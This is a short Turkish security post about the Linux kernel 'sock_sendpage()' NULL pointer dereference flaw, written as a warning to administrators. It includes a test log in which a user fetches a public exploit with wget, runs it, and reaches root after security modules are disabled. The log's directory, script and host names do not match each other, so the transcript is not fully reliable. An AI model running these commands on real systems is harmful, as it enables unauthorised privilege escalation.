Linux kernel 2.4.X ve 2.6.X sürümlerini etkileyen sifir gun acigi yayinlandi(Linux Kernel ’sock_sendpage()’ NULL Pointer Dereference Vulnerability). Özellikle sunucularında shell hesapları veren sistem adminlerinin bu açığı gidermeleri en acilinden gerekmekte..

http://www.securityfocus.com/bid/36038/info da data detaylı bilgi bulabilirsiniz!!!

Huzeyfe Onal ın yaptığı test
Exploit kullanmadan onceki kullanici haklari.
$ id
uid=1001(huzeyfe) gid=1001(huzeyfe) groups=1001(huzeyfe)

# wget http://www.grsecurity.net/~spender/exploitx.tgz
huzeyfe@guvenlis:/tmp$ cd exploitx
huzeyfe@guvenlis:/tmp/exploitx$ ls
exploit.c pwnkernel.c tzameti.avi wunderbar_emporium.sh
huzeyfe@guvenlikod:/tmp/wunderbar_emporium$ ./exploitx.sh
[+] Personality set to: PER_SVR4
E: x11wrap.c: XOpenDisplay() failed
E: module.c: Failed to load module “module-x11-publish” (argument: “”): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc05b4b7c
[+] Resolved selinux_enabled to 0xc05b4b78
[+] Resolved apparmor_enabled to 0xc04798a4
[+] Resolved apparmor_complain to 0xc05b6770
[+] Resolved apparmor_audit to 0xc05b6778
[+] Resolved apparmor_logsyscall to 0xc05b677c
[+] Resolved security_ops to 0xc05b3324
[+] Resolved default_security_ops to 0xc0478640
[+] Resolved sel_read_enforce to 0xc021fa60
[+] Resolved audit_enabled to 0xc0574544
[+] got ring0!
[+] detected 2.6 style 8k stacks
[+] Disabled security of : LSM
[+] Got root!
#
# id
uid=0(root) gid=0(root) groups=1001(huzeyfe)